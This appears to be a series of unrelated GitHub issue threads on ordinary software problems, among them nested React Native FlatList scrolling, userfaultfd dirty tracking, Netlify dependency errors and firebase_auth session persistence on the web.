(Write your steps here:)

Add a FlatList (vertical scroll) component with some data.
Have the renderItem prop be a function which returns another FlatList component (also with vertical scroll)
Let the nested FlatList have a constrained height

Expected Behavior

Both lists (parent and children) would be able to scroll (as it did with RN v0.44)
Actual Behavior

Only the parent FlatList scrolls.
Reproducible Demo

https://snack.expo.io/HJSueSfPZ

same here, any updates???

+1

+1

I have the same issue, but I didn't know that it worked on 0.44. Hopefully, someone will come up with a workaround. This definitely works when the nested FlatList is inside the ListView, I wonder why FlatList is different.

Anyone find any solutions or hack-arounds? I'm facing the same issue

I have the same issue

For me it works after adding contentContainerStyle={{ flexGrow: 1}} to the list, and style={{ flex: 1}} to the container. using rn>0.49.3

Same issue for me. I've noticed that the complete content of the inner FlatList appears to render outside of the bounds of the FlatList itself, and therefore no scrolling occurs as it has all been rendered. I noticed this by hiding some of the elements after the inner FlatList element.

+1

From documentation: "Also inherets ScrollView Props, unless it is nested in another FlatList of same orientation", https://facebook.github.io/react-native/docs/0.48/flatlist.html

https://github.com/facebook/react-native/pull/18299 aims to fix this issue on Android 21 and above.

@alex1815 Hey I read that too, but I don't quite understand the implications, do you? So a nested FlatList doesn't inherit ScrollView props, does that mean it's not possible for the FlatList to scroll independent from the outer ScrollView?

+1

+1

Any fix for this?

+1

I am still facing this issue. Any solution for this problem?

+1

I had the same issue, I resolved this by giving my Parent View,  style: {{flex: 1}}, give the same style of flex 1 for all the views that on the top of your flatlist.
This works.

Could you guys @Danishkhan007 or @vitorolivg post some working code please ? I'm currently pulling my hair off with this workaround...

@MarcBrout did you try "nestedScrollEnabled" prop in ScrollView (available in react-native 0.56.0+)
https://facebook.github.io/react-native/docs/scrollview#nestedscrollenabled

@tuncaulubilge I can't upgrade my project to 0.56.0 right now, but I implemented this workaround https://github.com/facebook/react-native/issues/1966#issuecomment-285130701 and it works out !

@MarcBrout outer component is scrollview ,if i replaced with flatlist , nested flatlist cant work

Any update on this?

+1

+1


Uffd dirty tracking

Just so you know, using the poll-based method in another thread for UFFD incurs 2-10x the latency of the SIGBUS-on-same-thread method on each page fault (based on my microbenchmarks). Feel free to take a look at my implementation at https://github.com/auto-ndp/faasm/blob/master/src/wasm/UffdMemoryArenaManager.cpp for how the sigbus-based method works

@kubasz do you know if there's any way to distinguish between a read and a write event arising from a missing page when using the SIGBUS set-up? When using a background thread you can inspect the flags of the uffd_msg and check the UFFD_PAGEFAULT_FLAG_WRITE bit, but AFAICT that info can't be worked out in the SIGBUS version as all you get is the siginfo_t associated with the signal.
 However, in the SIGBUS case, it seems there's no way to tell the difference between a single read or a single write.

@kubasz do you know if there's any way to distinguish between a read and a write event arising from a missing page when using the SIGBUS set-up? [...]

I had a look through the kernel source and sadly it seems the answer currently is no: https://elixir.bootlin.com/linux/latest/source/fs/userfaultfd.c#L407 - with the sigbus flag the fault information is not communicated to the program (which is a bit strange imo, maybe they'd accept a patch that adds this information)

Ok great, thanks for that Jakub; I ended up looking at the same code but thought/ hoped there might be some magic way to get around it. I agree, this could be some nice low-hanging fruit for a patch, can't see what the objection to it would be.
I've found the following from this work:

Write-protected mode can't be used on shared memory, which seems to include any mapping from a file descriptor created by memfd_create. This makes it unusable for Faabric function memory that's been mapped from a snapshot.
SIGBUS can't distinguish between reads and writes in events on missing pages (as discussed), hence may mark some clean pages as dirty. The inefficiency caused by this will depend on the workload.
Use of a background thread should work, but is slower than the SIGBUS approach, and possibly also slower than the existing segfault approach (as per the link you shared a while ago).

As it stands, the existing segfault dirty tracking still looks like the safest option as a default, but userfaultfd might be better for certain workloads. I'm going to write my own benchmarking script now to check each of the Faabric implementations as they stand in this PR and confirm.

I know that the CRIU and KVM people use UFFD for their own snapshot-restore mechanisms, but I don't know how complex redoing the memfd-based mechanism into a uffd-based mechanism in faasm would be. It would require changing snapshots to be regular memory mappings (not memfds), and then using the uffd copypages functionality to populate the local wasm memory arena with the snapshot data on page faults. It might not be worth the maintenance effort for you - if your primary applications didn't run into the same scaling issues I did it might not be worth it.


TODO by the end of week 11

Mobile functions add/delete/fix:

[ ] NEED TO FIX Front-End API problem: cannot dynamic update (e.g. after update contact information, the contact list should reload)
[x] Added Notes Label in Record.js
[x] Updated Login className to form control
[ ] Fixed problem of scanning qr-cord add firend (should automate this process)
[ ] Rewrite Person.js Component
[ ] Check CSS problem on mobile phone
[ ] manual test process -> should have a checklist
[ ] Resize addUser page navbar height, wired display
[x] Contact display oneContact page, change the display box width to 97%
[ ] React Redirect Problem, try use click button instead of window.location.href
[ ] Upload image @EcZww

** Manual Test Check List**

[ ] Safari IOS 14
[ ] Safari IOS 15
[ ] Google Chrome
[ ] Firefox
[ ] Edge


cs fixer does not support our use statements.

Even with single_import_per_statement: false

Can’t comment on this as CS isn’t part of the composer.json package and I haven’t been testing with it. Surprising though.


This PR should also fail linting, but more helpfully

woooooo

Well, that's not exactly what I was going for, but getting there.


Fix smoke test supplier name

This changed in 21a807 but has not been changed on the environments.
Until this is managed by the functional tests I'm reverting this change.

Could you link to the commit in the message?
Change looks good.
:+1:


[BUG] Contact us div issue

Description
Contact Us Div Issue

That blue div is too big in height.

Fix
There are two solutions :

Div can be narrow down to look better.
Keeping the height unchanged, we can put the texts in the center.

Link : https://ezyshopz.vercel.app/contact.html [ Confirm the issue ]
Screenshots

Any additional information?
Please add hactoberfest and GSSoC24 tag. You can assign me for this issue.
What browser are you seeing the problem on?
Chrome
Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I'm a GSSoC'24-Extd contributor
[X] I'm a Hacktoberfest'24 contributor
[X] I am willing to work on this issue (optional)

@4F24L can you please share the screenshot how much div you want to decrease.

Changes Made

That div is too unnecessarily big and for mobile devices also.
You can check before and after images.

Before :

After :

Now this is perfect for every devices. ✅

Please add hactoberfest and GSSoC24 tag. You can assign me for this issue.

It is good please leave for now sorry we have to close the issue for now

Why ? This is a legit issue?!
Why you don't want to fix ?

Sorry @4F24L, I didn’t mean to say it like that, it sounded very weird. I apologize, but I need to close this issue for now. Please don’t be discouraged!

please give ⭐ our repo

Join our official Discord server & discuss about new features and bugs raise issue & PR accordingly.

And also follow us on Linkedin


Fix Sceaduinar's spell list and give it void healing

Closes https://github.com/foundryvtt/pf2e/issues/15405

The Sceaduinar in the system has the unholy trait - is that correct?

The OG statblock has a Weaknesses good 10, so the trait was probably added to account for the change.


Missing hint of Http Facade methods

Laravel Version: 7.0
PHP Version: 7.4
Database Driver & Version: N/A

Description:
Missing hint of Http Facade methods: fake() and response().
Steps To Reproduce:

Feel free to PR them.


Bug: getRoutesOptions return wrong when I have >2 routes has same name, but different method (HTTPVerb)

//my routes
$routes->get('product/add', 	'App\Product::add', ['as' => 'app_product_add']);
$routes->post('product/add', 'App\Product::add_ajax', ['as' => 'app_product_add_ajax']);
//my function
$router  = \Config\Services::router();
$match  = $router->getMatchedRoute(); // => IT'S OK
$options = $router->getMatchedRouteOptions(); //=> WRONG BY METHOD
$options alway is: ['as' => 'app_product_add_ajax']
I want setMethod() and default method by current request in here for return right options
How can't I hot fix this bug?
Help me.
Thanks

Yes i had this problem also.
It would have been nice if the system differentiate this methods in the routes also.
Because of this i changed all my segments routes to not be the same as GET and POST
ex :
get('product/add')
post('product/submit_add')


FileNotFoundException SharpProj.dll for Microsoft.NET.Sdk.Web

We have SharpProj working in unit test and console .net6 projects using Microsoft.NET.Sdk
When we try to run it in an api using Microsoft.NET.Sdk.Web then we get the following error (even though the dll is found in the same place in bin as the console app.
Could not load file or assembly 'SharpProj, Version=9.2000.234.0, Culture=neutral, PublicKeyToken=3a930e679d9a0873'. The system cannot find the file specified.

looking at the output pane in VS can see this:
Exception thrown: 'System.IO.FileNotFoundException' in System.Private.CoreLib.dll

Copying the appropriate dll using post build scripts does not work either, or forcing ijwhost.dll.

I got the same error. What helped in my case (when starting the project in Visual Studio) was to set the Working directory to the the same as <OutputPath>. Without that, the process looked for ijwhost.dll everywhere in %PATH%, except for in the actual folder, where the main .exe was.

I find that this helps:
  <PropertyGroup>
    <usual>stuff</usual>
    <UseIJWHost>true</UseIJWHost> <!-- this right here! -->
 </PropertyGroup>


Does dns.Client or dns.Dialer support multicast DNS with IPv6?

Hi,
When I do r, rtt, err := c.Exchange(m, nameserverV6) for mDNS with IPv6, it reports:
;; dial udp6 [ff02::fb]:5353: connect: invalid argument
Does dns.Client or dns.Dialer support multicast DNS with IPv6?
By the way, mDNS for IPv4 (<IP_ADDRESS>:5353) is normal.
Thanks,
Mao

[ Quoting<EMAIL_ADDRESS>in "[miekg/dns] Does dns.Client or dns...." ]

Hi,
When I do r, rtt, err := c.Exchange(m, nameserverV6) for mDNS with IPv6, it
reports:
;; dial udp6 [ff02::fb]:5353: connect: invalid argument
Does dns.Client or dns.Dialer support multicast DNS with IPv6?
By the way, mDNS for IPv4 (<IP_ADDRESS>:5353) is normal.

dunno, we just call the underlaying net.Dial functions, no magic from our side.


[WIP][RFC] QEMU support in rkt

This pr adds support for qemu hypervisor as an alternative for lkvm
This patch should be splitted into two pull requests:

support for custom hypervisor drivers
qemu hypervisor driver

TODO:

[ ] Write unit tests for drivers
[ ] Build properly hypervisor during build
[ ] Cleanup code

Actually qemu requires pre-installed binaries. Status from CI with installed qemu binaries:

How's this coming along?

Well, I'm working on this 'after hours'. so that's mean I'm working on this mostly on weekends. Currently I've got problems with qemu buildings via qemu.mk. If someone could look into this file and give me some hints, that would be great. I am going to push some code with enabling hypervisor interface to code review (as a additional PR). Additionally I'm planning to work on qemu hypervisor(this PR)


[New game]: Reverse Memory Challenge

🎮 Game Request
Game logic and basic description
The game presents a grid of colored squares.
Clicking a square reveals a random color for a brief moment, then hides it again.
The twist is memorizing the sequence of colors in reverse order. With each successful recall, the sequence length increases, making it progressively harder.
Players lose if they enter the sequence incorrectly.
Point down the features
Game points
Reverse Memory: Recall colors in reverse order, adding a unique challenge.
Level Up System: Sequence length increases for a growing challenge.
Simple Interface: Easy to learn with familiar grid and colors.
Customizable Difficulty (Optional): Adjust grid size or difficulty levels for personalization.
Feedback (Optional): Visual/audio cues for right/wrong answers for better engagement.
Select program in which you are contributing
GSSoC24
Code of Conduct

[X] I follow CONTRIBUTING GUIDELINE of this project.

Hey @MuraliDharan7 !
Thank you for raising an issue 💗
You can self assign the issue by commenting /assign in comment 😀
Make sure you follow CODE OF CONDUCT and CONTRIBUTING GUIDELINES 🚀
Don’t Forget to ⭐ our GameZone🎮
Make sure you join our Discord🕹

/assign

Hey @MuraliDharan7 ! Thank you so much for your raising the issue💗
It’s all yours, you can come anytime again and make some contributions! 🚀
Alone, we can do little, but together we can do so much! 😇


Implement X25519 encryption

There is a Curve25519 implementation in WireGuard that can probably be imported as-is after rewriting it in Kotlin

Closing this issue since we are gonna use tink for all crypto stuff


Update width and height options

@Mikachu2333 what do you think about this change? I think that 200w is more understandable than 200x_

Agree.
By the way, what would happened if user input w200? Panic or treat 200 as height as normal, and what if input 200 w?
We may need to take into account common mistakes made by our users.

what would happened if user input w200? Panic or treat 200 as height as normal, and what if input 200 w?
Will be parsing error. I change logic a bit that if w or h is present in string it will parse normally

Will be parsing error. I change logic a bit that if w or h is present in string it will parse normally

200wh this?
if (`w`.exist and `h`.exist){
    error()
}

Uppercase should be accepted. @SalOne22

crash when input 0w @SalOne22

LGTM


Having _ in container names throws an error

Perhaps we should be warning the user that having _ in the container name won't be able to be pushed to Azure Storage since the naming conventions only allow alphanumerics.

I agree, it would be nicer to have appropriate messaging. Of course a user needs to follow the container guidelines: http://msdn.microsoft.com/en-us/library/windowsazure/dd135715.aspx

Nice, I can add this to the wiki


Domain-specific Batch-Normalization

In the page of 3, in section 3, the authors have said that "In addition, we utilize domain-specific" batch normalization to ..."; However, I do not found that the code is implemented using domain-specific batch normalization. So I am a little curious about that? Can you explain why?

We used a simplified version of the domain-specific batch norm. The source and target mini-batches are fed into the network separately.


Using http-vue-loader on production

I am now working on a project with http-vue-loader and Python jinja2 template for SSR reason. (I just quit NUXT, it is painful and inefficient.)
And I expected some difficulties but there isn’t amazingly. I use even vue-router for micro SPAs using http-vue-loader to build member pages or something that needn’t SSR.
(Micro SPA means relatively small scoped SPA for a part of your web services that not required SEO or authenticated user only area. You can have multiple MSPAs for your project, and it is also supported by vue-cli).
You recommend to use http-vue-loader for testing purpose only and linked to https://vuejs.org/2015/10/28/why-no-template-url/ .
I think it is your one of reasons for under-rating your great project. But SFC is not just template but fully functional stand-alone component including style, script and template.
I am as a mainly backend developer on current project. And I work with traditional server side template but I can minimize server side rendering (just focus to SEO), and my coworker, frontend developer can maximize client side rendering (fully focus to UI AND UX) via http-vue-loader.
If it needn't to SSR, backend just routes to micro SPA, and frontend can have all charge for his app including sub routing.
And we can use session for authorization not like JWT token, and it makes our project more simpler. Client needn’t handle authorization any more. (But backend should still have capability for token authorization for native mobile apps or something doesn’t support http cookie).
I have even found that performance is reasonable: https://www.reddit.com/r/vuejs/comments/c9r7gy/opinions_on_httpvueloaderjs_for_buildless_vuejs/ . Also I believe performance will be improved using PWA and http cache control.
I am not a good frontend developer and I am not sure it is good, but current my work is based on my template: https://gitlab.com/hansroh/http-sfc - but it is just alpha version and unstable.
Welcome anyone’s feedback.

No one interest T.T


"A Netlify Function is using 'encoding' but that dependency has not been installed yet."

Describe the bug
When using "@sveltejs/adapter-netlify": "^1.0.0-next.22", and when deploying to Netlify, I'm getting the following error. It appears that npm run build works fine locally but Netlify seems to have an issue with it:
1:35:03 PM: ────────────────────────────────────────────────────────────────
1:35:03 PM:   Dependencies installation error
1:35:03 PM: ────────────────────────────────────────────────────────────────
1:35:03 PM:
1:35:03 PM:   Error message
1:35:03 PM:   A Netlify Function is using "encoding" but that dependency has not been installed yet.
1:35:03 PM:
1:35:03 PM:   By default, dependencies inside a Netlify Function's "package.json" are not automatically installed.
  There are several ways to fix this problem:
1:35:03 PM:     - Removing your Function's "package.json" and adding the dependencies to the project's top-level "package.json" instead. This is the fastest and safest solution.
1:35:03 PM:     - Running "npm install" or "yarn" inside your Netlify Function in your build command.
1:35:03 PM:     - Adding the following plugin to your "netlify.toml":
1:35:03 PM:
1:35:03 PM:   [[plugins]]
1:35:03 PM:   package = "@netlify/plugin-functions-install-core"
1:35:03 PM:
1:35:03 PM:   In file "/opt/build/repo/functions/render/index.js"
1:35:03 PM:   Cannot find module 'encoding'
1:35:03 PM:   Require stack:
1:35:03 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>1:35:03 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>1:35:03 PM:   - /opt/buildhome/.netlify-build-nvm/versions/node/v12.16.3/lib/node_modules/<EMAIL_ADDRESS>1:35:03 PM:   -<EMAIL_ADDRESS>1:35:03 PM:   -<EMAIL_ADDRESS>1:35:03 PM:   -<EMAIL_ADDRESS>1:35:03 PM:   -<EMAIL_ADDRESS>1:35:03 PM:
1:35:03 PM:   Resolved config
1:35:03 PM:   build:
1:35:03 PM:     command: npm run build
1:35:03 PM:     commandOrigin: config
1:35:03 PM:     publish: /opt/build/repo/build
1:35:03 PM:     publishOrigin: config
1:35:03 PM:   functionsDirectory: /opt/build/repo/functions
1:35:03 PM:   redirects:
1:35:04 PM:     - from: /*
      path: /*
      status: 200
      to: /.netlify/functions/render
Caching artifacts

Reproduction

Create a new sveltekit project.
Use the following package.json file:

{
  "name": "fcc-v2",
  "version": "0.0.1",
  "scripts": {
    "dev": "svelte-kit dev",
    "build": "svelte-kit build",
    "preview": "svelte-kit preview",
    "check": "svelte-check --tsconfig ./tsconfig.json",
    "check:watch": "svelte-check --tsconfig ./tsconfig.json --watch",
    "lint": "prettier --check --plugin-search-dir=. . && eslint --ignore-path .gitignore .",
    "format": "prettier --write --plugin-search-dir=. ."
  },
  "devDependencies": {
    "@sveltejs/adapter-netlify": "^1.0.0-next.22",
    "@sveltejs/kit": "next",
    "@typescript-eslint/eslint-plugin": "^4.19.0",
    "@typescript-eslint/parser": "^4.19.0",
    "eslint": "^7.22.0",
    "eslint-config-prettier": "^8.1.0",
    "eslint-plugin-svelte3": "^3.2.0",
    "prettier": "~2.2.1",
    "prettier-plugin-svelte": "^2.2.0",
    "svelte": "^3.34.0",
    "svelte-check": "^2.0.0",
    "svelte-preprocess": "^4.0.0",
    "tslib": "^2.0.0",
    "typescript": "^4.0.0"
  },
  "type": "module",
  "dependencies": {
    "@supabase/supabase-js": "^1.18.1"
  }
}

Push to Netlify

Logs
No response
System Info
System:
    OS: macOS 11.4
    CPU: (8) arm64 Apple M1
    Memory: 87.81 MB / 8.00 GB
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 16.5.0 - ~/.nvm/versions/node/v16.5.0/bin/node
    Yarn: 1.22.10 - ~/.nvm/versions/node/v16.5.0/bin/yarn
    npm: 7.19.1 - ~/.nvm/versions/node/v16.5.0/bin/npm
  Browsers:
    Brave Browser: <IP_ADDRESS>
    Chrome: 91.0.4472.164
    Firefox: 90.0
    Safari: 14.1.1
  npmPackages:
    @sveltejs/adapter-netlify: ^1.0.0-next.22 => 1.0.0-next.23
    @sveltejs/kit: next => 1.0.0-next.131
    svelte: ^3.34.0 => 3.38.3

Severity
blocking all usage of SvelteKit
Additional Information
Blocking use of sveltekit on Netlify.

This is not a SvelteKit issue. @supabase/supabase-js depends on @supabase/gotrue-js which depends on cross-fetch which depends on node-fetch which has an unlisted dependency on encoding. The workaround is to add encoding to your dev dependencies and move @supabase/supabase-js to your dev dependencies.

Gah, right. npm newbie here. It looks like there are tools out there to locate "unlisted" deps. This worked though, thank you so much!

This is not a SvelteKit issue. @supabase/supabase-js depends on @supabase/gotrue-js which depends on cross-fetch which depends on node-fetch which has an unlisted dependency on encoding. The workaround is to add encoding to your dev dependencies and move @supabase/supabase-js to your dev dependencies.

Foo...Thanks, after so many tries, this was the solution 🤦🏾


Test ptPulse

The LED matrix works.
The microphone doesn't there is a lot of static here is a example attached.
Can't test speaker as don't know how to switch audio to pulse.


🐛 [firebase_auth ] User auth state not persisted through sessions

Bug report
Describe the bug
Since I upgraded to firebase_auth: ^3.5.0, the user auth state is not stored and is changing for each session and refresh.
I'm using anonymous signin which was working perfectly before the upgrade.
Expected behavior
User auth state persists throughout sessions
Sample project
https://github.com/OutdatedGuy/Whats-That-Anime

Additional context
In sample project with firebase_auth: ^3.3.19, everything works fine, but for firebase_auth: ^3.5.0 the problem occurs

Flutter doctor
Run flutter doctor and paste the output below:
Click To Expand
[√] Flutter (Channel stable, 3.0.5, on Microsoft Windows [Version 10.0.22622.436], locale en-IN)
Checking Android licenses is taking an unexpectedly long time...[√] Android toolchain - develop for Android devices (Android SDK version 32.1.0-rc1)
[√] Chrome - develop for the web
[√] Visual Studio - develop for Windows (Visual Studio Community 2022 17.2.3)
[√] Android Studio (version 2021.2)
[√] VS Code (version 1.69.2)
[√] Connected device (3 available)
[√] HTTP Host Availability

• No issues found!

Flutter dependencies
Run flutter pub deps -- --style=compact and paste the output below:
Click To Expand
Dart SDK 2.17.6
Flutter SDK 3.0.5
whats_that_anime 2.1.0+4

dependencies:
- cached_network_image 3.2.1 [flutter flutter_cache_manager octo_image cached_network_image_platform_interface cached_network_image_web]
- chewie 1.3.4 [cupertino_icons flutter provider video_player wakelock]
- cloud_firestore 3.4.0 [cloud_firestore_platform_interface cloud_firestore_web collection firebase_core firebase_core_platform_interface flutter meta]
- cupertino_icons 1.0.5
- desktop_drop 0.3.3 [flutter flutter_web_plugins cross_file]
- dotted_border 2.0.0+2 [flutter path_drawing]
- firebase_auth 3.5.0 [firebase_auth_platform_interface firebase_auth_web firebase_core firebase_core_platform_interface flutter meta]
- firebase_core 1.20.0 [firebase_core_platform_interface firebase_core_web flutter meta]
- firebase_storage 10.3.3 [firebase_core firebase_core_platform_interface firebase_storage_platform_interface firebase_storage_web flutter]
- flutter 0.0.0 [characters collection material_color_utilities meta vector_math sky_engine]
- flutter_easyloading 3.0.5 [flutter flutter_spinkit]
- flutter_native_splash 2.2.5 [args flutter flutter_web_plugins image js lint meta path universal_io xml yaml]
- get_storage 2.0.3 [flutter get path_provider]
- http 0.13.4 [async http_parser meta path]
- image_picker 0.8.5+3 [flutter image_picker_android image_picker_for_web image_picker_ios image_picker_platform_interface]
- internet_connection_checker_plus 1.0.1 [flutter http]
- motion_toast 2.3.0 [flutter]
- package_info_plus 1.4.3 [flutter package_info_plus_platform_interface package_info_plus_linux package_info_plus_macos package_info_plus_windows package_info_plus_web]
- paginate_firestore 1.0.3 [flutter bloc flutter_bloc cloud_firestore provider]
- pasteboard 0.2.0 [flutter flutter_web_plugins js]
- url_launcher 6.1.5 [flutter url_launcher_android url_launcher_ios url_launcher_linux url_launcher_macos url_launcher_platform_interface url_launcher_web url_launcher_windows]
- video_player 2.4.5 [flutter html video_player_android video_player_avfoundation video_player_platform_interface video_player_web]

dev dependencies:
- change_app_package_name 1.1.0
- flutter_lints 2.0.1 [lints]
- flutter_test 0.0.0 [flutter test_api path fake_async clock stack_trace vector_math async boolean_selector characters charcode collection matcher material_color_utilities meta source_span stream_channel string_scanner term_glyph]
- icons_launcher 1.2.1 [args image path universal_io yaml]

transitive dependencies:
- archive 3.3.1 [crypto path]
- args 2.3.1
- async 2.8.2 [collection meta]
- bloc 7.2.1 [meta]
- boolean_selector 2.1.0 [source_span string_scanner]
- cached_network_image_platform_interface 1.0.0 [flutter flutter_cache_manager]
- cached_network_image_web 1.0.1 [flutter flutter_cache_manager cached_network_image_platform_interface]
- characters 1.2.0
- charcode 1.3.1
- clock 1.1.0
- cloud_firestore_platform_interface 5.7.0 [collection firebase_core flutter meta plugin_platform_interface]
- cloud_firestore_web 2.8.0 [cloud_firestore_platform_interface collection firebase_core firebase_core_web flutter flutter_web_plugins js]
- collection 1.16.0
- cross_file 0.3.3+1 [js meta]
- crypto 3.0.2 [typed_data]
- csslib 0.17.2 [source_span]
- fake_async 1.3.0 [clock collection]
- ffi 2.0.1
- file 6.1.2 [meta path]
- firebase_auth_platform_interface 6.4.0 [collection firebase_core flutter meta plugin_platform_interface]
- firebase_auth_web 4.1.0 [firebase_auth_platform_interface firebase_core firebase_core_web flutter flutter_web_plugins http_parser intl js meta]
- firebase_core_platform_interface 4.5.0 [collection flutter flutter_test meta plugin_platform_interface]
- firebase_core_web 1.7.1 [firebase_core_platform_interface flutter flutter_web_plugins js meta]
- firebase_storage_platform_interface 4.1.12 [collection firebase_core flutter meta plugin_platform_interface]
- firebase_storage_web 3.3.1 [async firebase_core firebase_core_web firebase_storage_platform_interface flutter flutter_web_plugins http js meta]
- flutter_bloc 7.3.3 [flutter bloc provider]
- flutter_blurhash 0.7.0 [flutter]
- flutter_cache_manager 3.3.0 [clock collection file flutter http path path_provider pedantic rxdart sqflite uuid]
- flutter_plugin_android_lifecycle 2.0.7 [flutter]
- flutter_spinkit 5.1.0 [flutter]
- flutter_web_plugins 0.0.0 [flutter js characters collection material_color_utilities meta vector_math]
- get 4.6.5 [flutter]
- html 0.15.0 [csslib source_span]
- http_parser 4.0.1 [collection source_span string_scanner typed_data]
- image 3.2.0 [archive meta xml]
- image_picker_android 0.8.5+1 [flutter flutter_plugin_android_lifecycle image_picker_platform_interface]
- image_picker_for_web 2.1.8 [flutter flutter_web_plugins image_picker_platform_interface]
- image_picker_ios 0.8.5+6 [flutter image_picker_platform_interface]
- image_picker_platform_interface 2.5.0 [cross_file flutter http plugin_platform_interface]
- intl 0.17.0 [clock path]
- js 0.6.4
- lint 1.8.2
- lints 2.0.0
- matcher 0.12.11 [stack_trace]
- material_color_utilities 0.1.4
- meta 1.7.0
- nested 1.0.0 [flutter]
- octo_image 1.0.2 [flutter flutter_blurhash]
- package_info_plus_linux 1.0.5 [package_info_plus_platform_interface flutter path]
- package_info_plus_macos 1.3.0 [flutter]
- package_info_plus_platform_interface 1.0.2 [flutter meta plugin_platform_interface]
- package_info_plus_web 1.0.5 [flutter flutter_web_plugins http meta package_info_plus_platform_interface]
- package_info_plus_windows 2.0.0 [package_info_plus_platform_interface ffi flutter win32]
- path 1.8.1
- path_drawing 1.0.0 [vector_math meta path_parsing flutter]
- path_parsing 1.0.0 [vector_math meta]
- path_provider 2.0.11 [flutter path_provider_android path_provider_ios path_provider_linux path_provider_macos path_provider_platform_interface path_provider_windows]
- path_provider_android 2.0.16 [flutter path_provider_platform_interface]
- path_provider_ios 2.0.10 [flutter path_provider_platform_interface]
- path_provider_linux 2.1.7 [ffi flutter path path_provider_platform_interface xdg_directories]
- path_provider_macos 2.0.6 [flutter path_provider_platform_interface]
- path_provider_platform_interface 2.0.4 [flutter platform plugin_platform_interface]
- path_provider_windows 2.1.0 [ffi flutter path path_provider_platform_interface win32]
- pedantic 1.11.1
- petitparser 5.0.0 [meta]
- platform 3.1.0
- plugin_platform_interface 2.1.2 [meta]
- process 4.2.4 [file path platform]
- provider 6.0.3 [collection flutter nested]
- rxdart 0.27.5
- sky_engine 0.0.99
- source_span 1.8.2 [collection path term_glyph]
- sqflite 2.0.3 [flutter sqflite_common path]
- sqflite_common 2.2.1+1 [synchronized path meta]
- stack_trace 1.10.0 [path]
- stream_channel 2.1.0 [async]
- string_scanner 1.1.0 [charcode source_span]
- synchronized 3.0.0+2
- term_glyph 1.2.0
- test_api 0.4.9 [async boolean_selector collection meta source_span stack_trace stream_channel string_scanner term_glyph matcher]
- typed_data 1.3.1 [collection]
- universal_io 2.0.4 [collection crypto meta typed_data]
- url_launcher_android 6.0.17 [flutter url_launcher_platform_interface]
- url_launcher_ios 6.0.17 [flutter url_launcher_platform_interface]
- url_launcher_linux 3.0.1 [flutter url_launcher_platform_interface]
- url_launcher_macos 3.0.1 [flutter url_launcher_platform_interface]
- url_launcher_platform_interface 2.1.0 [flutter plugin_platform_interface]
- url_launcher_web 2.0.12 [flutter flutter_web_plugins url_launcher_platform_interface]
- url_launcher_windows 3.0.1 [flutter url_launcher_platform_interface]
- uuid 3.0.6 [crypto]
- vector_math 2.1.2
- video_player_android 2.3.8 [flutter video_player_platform_interface]
- video_player_avfoundation 2.3.5 [flutter video_player_platform_interface]
- video_player_platform_interface 5.1.3 [flutter plugin_platform_interface]
- video_player_web 2.0.12 [flutter flutter_web_plugins video_player_platform_interface]
- wakelock 0.6.2 [flutter meta wakelock_macos wakelock_platform_interface wakelock_web wakelock_windows]
- wakelock_macos 0.4.0 [flutter flutter_web_plugins wakelock_platform_interface]
- wakelock_platform_interface 0.3.0 [flutter meta]
- wakelock_web 0.4.0 [flutter flutter_web_plugins js wakelock_platform_interface]
- wakelock_windows 0.2.0 [flutter wakelock_platform_interface win32]
- win32 2.7.0 [ffi]
- xdg_directories 0.2.0+1 [meta path process]
- xml 6.1.0 [collection meta petitparser]
- yaml 3.1.1 [collection source_span string_scanner]

We're also experiencing this on the web, which is a dealbreaker. Are you experiencing this on mobile, web or both?
In conjunction with https://github.com/firebase/flutterfire/issues/9106 and https://github.com/firebase/flutterfire/issues/9124 and https://github.com/firebase/flutterfire/issues/9195, amongst others, we had to rollback the entire latest Flutterfire release since they interconnect.
Here is the only working pubspec configuration we've found:
  cloud_firestore: 3.2.1
  cloud_firestore_platform_interface: 5.5.10
  cloud_firestore_web: 2.6.19
  cloud_functions: 3.3.1
  cloud_functions_platform_interface: 5.1.10
  cloud_functions_web: 4.2.18
  firebase_analytics: 9.1.12
  firebase_analytics_platform_interface: 3.1.10
  firebase_analytics_web: 0.4.0+17
  firebase_auth: 3.4.1
  firebase_auth_platform_interface: 6.3.1
  firebase_auth_web: 3.3.19
  firebase_core: 1.19.1
  firebase_core_platform_interface: 4.4.3
  firebase_core_web: 1.6.6
  firebase_dynamic_links: 4.3.1
  firebase_dynamic_links_platform_interface: 0.2.3+6
  firebase_messaging: 11.4.4
  firebase_messaging_platform_interface: 3.5.4
  firebase_messaging_web: 2.4.4

Seems like this is related to the switch from CDN version of Firebase JS libraries to the built-in version. Anything >= 3.4.2 doesn't preserve anonymous sessions on page reload.

We're also experiencing this on the web, which is a dealbreaker. Are you experiencing this on mobile, web or both?

Yes, I'm experiencing this only on web and not on android.

In conjunction with https://github.com/firebase/flutterfire/issues/9106

Similar to this issue, only on web, uploading file using firebase_storage throws some random error but the file is uploaded in the end.

Seems like this is related to the switch from CDN version of Firebase JS libraries to the built-in version. Anything >= 3.4.2 doesn't preserve anonymous sessions on page reload. While versions <= 3.4.1 require manually injected JS libraries, and work.

For that it seems there a function to persist auth state locally (on web only)
FirebaseAuth.instance.setPersistence(Persistence.LOCAL);

But instead of storing auth data in IndexedDB (like it usually does) it is using Local Storage for that.

Interestingly, I haven't noticed its use of Local Storage either. Otherwise, I think the session would persist on reload.

OK, with this setting it does persist the session to local storage, but then on refresh still a new session is used..

OK, with this setting it does persist the session to local storage, but then on refresh still a new session is used (and persisted)..

Yep, even if persistence is set, the state is lost on refresh.

Any ideas on what causes this loss?

Logs for storage upload. (Tell me if I should create a new issue for this)

Storage Upload Error Logs
TypeError: Cannot read properties of undefined (reading 'STATE_CHANGED')
at startListen (http://localhost:60869/packages/firebase_storage_web/src/interop/storage.dart.lib.js:561:97)
    at Object._runGuarded (http://localhost:60869/dart_sdk.js:40843:7)
    at [_subscribe] (http://localhost:60869/dart_sdk.js:34405:17)
    at [_createSubscription] (http://localhost:60869/dart_sdk.js:33673:46)
    at _BroadcastStream.new.listen (http://localhost:60869/dart_sdk.js:33638:53)
    at new _ForwardingStreamSubscription.new (http://localhost:60869/dart_sdk.js:38261:55)
    at [_createSubscription] (http://localhost:60869/dart_sdk.js:38177:16)
    at _MapStream.new.listen (http://localhost:60869/dart_sdk.js:38174:41)
at [_listenToStream] (http://localhost:60869/packages/async/src/stream_group.dart.lib.js:225:35)
